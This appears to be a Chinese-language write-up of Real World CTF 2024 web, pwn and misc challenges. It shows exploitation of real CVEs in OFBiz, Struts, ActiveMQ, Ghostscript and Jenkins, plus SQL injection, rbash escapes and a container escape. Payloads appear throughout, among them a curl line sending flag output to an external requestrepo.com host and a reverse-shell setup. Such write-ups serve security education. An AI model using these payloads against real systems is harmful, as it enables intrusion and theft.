Challenge
0****1
Be-a-Framework-Hacker
Clone-and-Pwn, difficulty:Baby
由于提供了附件,可以使用如下命令在本地启动一个服务
docker build . -t rwctf:be-a-framework-hacker
这题主要考察的漏洞是CVE-2023-51467,通过?USERNAME=&PASSWORD=&requirePasswordChange=Y绕过鉴权。绕过鉴权之后可以执行 groovy 表达式, 这里使用的是 groovy 的 "".execute()语法来执行命令,绕过沙箱,具体 payload 如下
POST /webtools/control/ProgramExport;/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
这里使用的 https://requestrepo.com/ 服务来控制回显,回显内容如下
curl http://requestrepo.com/igr3yxom/ --data $(/readflag)
02
Be-more-Elegant
Web, difficulty:Baby
这里考察的是 s2-066 ,提供了附件下载下来之后,可以进行代码审计
在 be.more.elegant.filter.JspFilter#doFilter 中限制了 jsp 访问路径只能是 /view 开头的,其他路由的 jsp 是无法访问的。
be.more.elegant.HeaderIconAction#doUpload这个方法对应的路由是/upload.action,
由于 s2 的限制,正常上传的文件名是无法包含 .. 的。所以我们通过 s2 066 这个漏洞,由于 s2 对于大小不敏感,所以我们可以使用如下 payload 去对 fileUploadFileName 进行二次赋值,让实际的 fileUploadFileName 内容为 ../../../views/a.jsp ,这样就可以通过跨目录写 jsp 到 views 目录下。
ps: 这里要注意在使用这个包之前需要上传一个正常的文件,保证 md5 的目录可以创建出来。因为 ../ 在 linux 系统下是无法跳到一个不存在的目录的。
POST /upload.action;jsessionid=D2DF7842CD2DEA1BE82A7300A134F655 HTTP/1.1
03
Old-Shiro
Web, difficulty:Normal
使用以下 docker-compose 文件搭建
version: '3.3'
其中 nginx 主要是将 java 的端口代理出来,里面的 backend 服务是一个 shiro550 的漏洞环境,配置为不出网。
首先分析 oldshiro 这个 jar 包,可以看到其设置了最大的 header 长度为 3000
由于目标配置的是不出网的场景,因此我们需要考虑使用不出网的手法来进行 RCE,且 cookie 不能太大。
如果使用网上的工具基本上 cookie 都会大于 3k
可以参考这两篇文章
稍微处理一下 template 的构造方式就可以了,poc 如下
package org.example;
pom.xml 如下
<?xml version="1.0" encoding="UTF-8"?>
发包如下
GET /doLogin HTTP/1.1
04
Be-an-ActiveMq-Hacker
Clone-and-Pwn, difficulty:Baby
使用以下 docker-compose 文件搭建环境
version: '3.3'
使用 CVE-2023-46604 进行攻击即可,使用 org.springframework.context.support.ClassPathXmlApplicationContext
java 脚本如下
package exps;
然后在恶意服务器上分别启动一个 nc 用来收反弹 shell,另一个启动 http 服务用来提供 xml,注意下面的 value 是 html entity 编码后的,可以解码后替换为接受 shell 的 ip 和端口即可收到反弹shell
注意需要修改实体编码中的localhost为你的接收端主机
<?xml version="1.0" encoding="UTF-8"?>
远程收到shell,获取flag
05
YourSqlTrick
Web, difficulty:Baby
使用 \N 的方法绕过内置过滤,读取 flag 表中的 flag_value 字段:
/tags.php?/alias/aaaaaaa%27||+1=\Nunion+select+1,flag_value,3,4,5,6,7,8,0,10,11+from+flag+where+1=%271
06
Be-a-Captcha-Guesser
Web, difficulty:Normal
这个题目在首页提供了部分的源码,可以看出来是 django 的 wagtail 框架。主要是一个允许重置密码的功能,这里可以通过验证码得到其路由是/captcha/image/566babcf709fa2482d8dec2b71fd930474c8b34c/对此比较敏感的同学可以想到这个是一个 django 的验证码依赖 django-simple-captcha
通过信息搜集可以知道管理员的邮箱是admin@rwctf.game,图片的 seed 为566babcf709fa2482d8dec2b71fd930474c8b34c ,图片的 size 为 78 x 31
这个题目可以看作是 JumpserverCVE-2023-42820Lite 版本
ps: 这里需要对下面的脚本里面的 CAPTCHA_IMAGE_SIZE 进行修改,将其改成图片的大小
命令如下
python .\run.py -t http://121.40.246.97:39968/ --name admin --email admin@rwctf.game --seed 566babcf709fa2482d8dec2b71fd930474c8b34c --cscookie 60D8JJuDvGCCauRifigL5ycFXR1NPPd3 --cstoken pWB0Zc9JkmV9KrLzEjDpG9KzUME1OkLYlM4YyLtcFSnBKLsHJrJ0BxM4HtvEtZOR
脚本:
import logging
这里可以得到验证码为: 788593
使用重置好的密码进行登录,即可在后台获取flag
07
Be-a-Security-Research
Web, difficulty:Baby
直接使用 jenkins-cli 利用即可:
java -jar jenkins-cli.jar -s http://xxxx/ -http who-am-i "@/flag"
08
Be-a-Docker-Escaper-4
Pwn, difficulty:Normal
这个题目的出题思路来自于:https://www.anquanke.com/post/id/290540 这篇文章。选手成功通过 ssh 成功连接上环境后,会发现这是一个容器环境,而且通过 ps -aux
命令能看到这个容器的启动命令:
1000 1113 0.0 0.0 6188 992 pts/0 S+ 06:25 0:00 sleep 10000
可以发现该容器共享了 pid, 因此能通过 ps命令看到容器外的进程。此外还有一个 uid 为 1000 的 sleep 进程。 预期解法如下:
#!/bin/sh
创建一个 uid 为 1000 的用户, 然后通过读 sleep 进程下的 /proc/$PID/root 的文件就能读到 flag。
09
Be-a-Cloud-Hacker
Misc, difficulty:Baby
当成功获取 Be-a-Docker-Escaper-4的容器外权限后, 我们可以先把权限提升到root, 通过题目描述,我们需要找到 user这个用户的密码。 最终可以在 cloud init的目录下找到 user-data.txt里面存储了 cloud init的配置文件, 能找到一个明文密码, 完整的利用如下:
#!/bin/sh
10
vision
Pwn, difficulty:Baby
连上之后会发现这是一个 Restricted shell , 其支持的命令有如下:
ping, uname, pwd, date, whoami, poweroff, id, showKey, openthedoor
预期的题目解法是通过逆向发现, 判断是否合法的命令的时候的代码如下:
len = strlen(s2);
其中 s2 是用户的输入, 因此会发现strncmp的第三个参数也是用户可控的,因此这里有个经典的截断问题。当我们输入 sh的时候, 会出现这样的情况: strncmp("showKey", "sh", 2), 因此我们可以通过如下的方法获取 flag
sh -c "cat ./flag"
此外我们发现有些选手用了 date -f /flag 的方法读到了 flag。
11
Be-an-HTTPd-Hacker
Pwn, difficulty:Normal
这个题目直接使用了开源代码https://github.com/bnlf/httpd/。这份代码存在至少两个漏洞:
1. 跨目录读取文件。攻击者传入的文件路径未做任何处理直接拼接,通过../可以实现任意文件读取。因为权限问题该漏洞不能直接读取flag,但可以被用来读取/proc/[httpd-pid]/maps实现信息泄露。
// https://github.com/bnlf/httpd/blob/master/src/httpd.c#L69
2. 栈溢出。以下代码的while循环会将HTTP body中的键值对按照%s和%s的格式进行扩展,然后拷贝到栈上固定长度(MAXLINE)的缓冲区中。这里虽然原始输入的长度不能超过MAXLINE,但多次循环、经过扩展后最终的长度可以超过MAXLINE,发生栈溢出。
// https://github.com/bnlf/httpd/blob/master/src/httpd.c#L183
两个漏洞连用,攻击者可以实现任意代码执行。exploit代码如下:
#!/usr/bin/env python3
PS: 附件提供了启动脚本launcher.py来确保本地和远程的内存偏移
12
Be-an-Interpreter-Hacker
Pwn, difficulty:Baby
考察 Ghostscript CVE-2023-28879 的漏洞利用:
漏洞原理:https://offsec.almond.consulting/ghostscript-cve-2023-28879.html
利用 PoC:
https://github.com/AlmondOffSec/PoCs/tree/master/Ghostscript\_rce
13
ALS
Pwn, difficulty:Normal
事情的起因是刘大爷上个月的时候发现的一个非常有趣的github项目。
https://github.com/wikihost-opensource/als
这个项目在3周前经历了一次巨大的重构。这一次使用的是v1版本的代码。代码版本和仓库的链接可以通过直接读main.py的源代码得知。
看首页可以看到。项目有提供一个shell。随便跑点命令就可以发现是一个受限的shell。阅读源码查看沙箱构建的方式和权限。
只是一个降权的rbash,继续查看fakeroot的构建代码可以发现:
导入了awk。那接下来就简单了,直接用awk逃rbash。
awk 'BEGIN {system(\"/bin/sh\")}'
接下来查看flag位置。发现flag在/root下。属于root并且权限为000。因此接下来的步骤就是提权。再次翻看代码就可以发现。
项目给了nexttrace sudo的权限可以以root执行。
接下来就是非预期的部分了。由于时间隔得比较久,加上部署这个题目的时候已经是体验赛开赛前的凌晨4点。实在有点神志不清。忘记了netrace可以直接读取文件内容了。因此只需要nexttrace --file /root/flag即可
接下来来说一说预期的。需要拿root shell才能解的做法:
首先发现nexttrace有-o参数可以指定输出结果到文件。但是再次研究发现-o不能指定写入的位置。只能写到/tmp/trace.log这个文件中。那么很容易就能想到应该用Symbolic Attack。 并且题目描述中也特意提到了关闭了Symbolic Attack保护(虽然非预期了)。
如此一来面临的问题就只有两个了。如何控制nexttrace输出的内容。以及写入哪个文件。
第一个问题,查看nexttrace源码和项目描述就可以看到。nexttrace支持从本地文件中读取ip信息数据库并进行查询:
因此只需要提供一个自定义的ip数据库。将ip所在地替换成我们需要的payload即可。查看源码可以看到。数据库来自一个名为ip2region的项目。
当然值得注意的是。nexttrace使用的ip2region的作者和als的作者一样。已经把v1版本的的代码整个扬了。只能从release下载的文件里还能看到v1版本的代码。
编写ip数据记录并生成数据库。
可以看到输出中已经有了我们的payload。
至于写到哪里就比较简单了。还是看刚才我们看过的rbash的启动代码。可以发现最后一行并不是exec的。因此nexttrace追加写入到该文件(/app/utilities/start_fakeroot.sh)。那么在shell退出之后会继续执行命令。导致root权限的任意代码执行。
14
Long Range 2
Misc, difficulty:Baby
作者看到许多选手Writeup写得太好了,实在自愧不如,于是请大家欣赏下几位选手的Writeup(可复制到浏览器查看🔗):
https://blog.nanax.fr/post/2024-01-28-hardware-longrange2/ by The Flat Network Societyhttps://github.com/mmm-team/public-writeups/tree/main/rwctf2024/longrange2 by MMM
https://sec.gd/blog/en/posts/long-distance-2/ by WreckTheLine